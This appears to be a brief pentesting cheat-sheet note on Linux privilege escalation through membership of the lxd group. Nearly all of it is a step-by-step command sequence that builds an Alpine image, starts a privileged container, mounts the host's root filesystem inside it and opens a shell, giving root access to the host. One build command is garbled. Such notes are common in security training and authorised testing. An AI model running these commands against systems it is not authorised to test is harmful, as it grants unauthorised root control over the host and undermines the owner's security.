966 B
		
	
	
	
	
	
			
		
		
	
	
			966 B
		
	
	
	
	
	
LXC
Privilege Escalation
Member of lxd Group
- Hackingarticles article
- User has to be in lxdgroup, not necessarilysudo.
Usage
- Clone and build
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builde && sudo && ./build alpine
- Upload to target
- Import alpine image
lxc image import ./alpine-v3.14-x86_64-20210920_2132.tar.gz --alias myimage
- Prepare image
lxc image list
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
- Host /is mounted at/mnt/rootinside the container
- rootdirectory is at- /mnt/root/root
Errors
If you see errors like this
Error: No storage pool found. Please create a new storage pool
Remember to initialize the lxd via
lxd init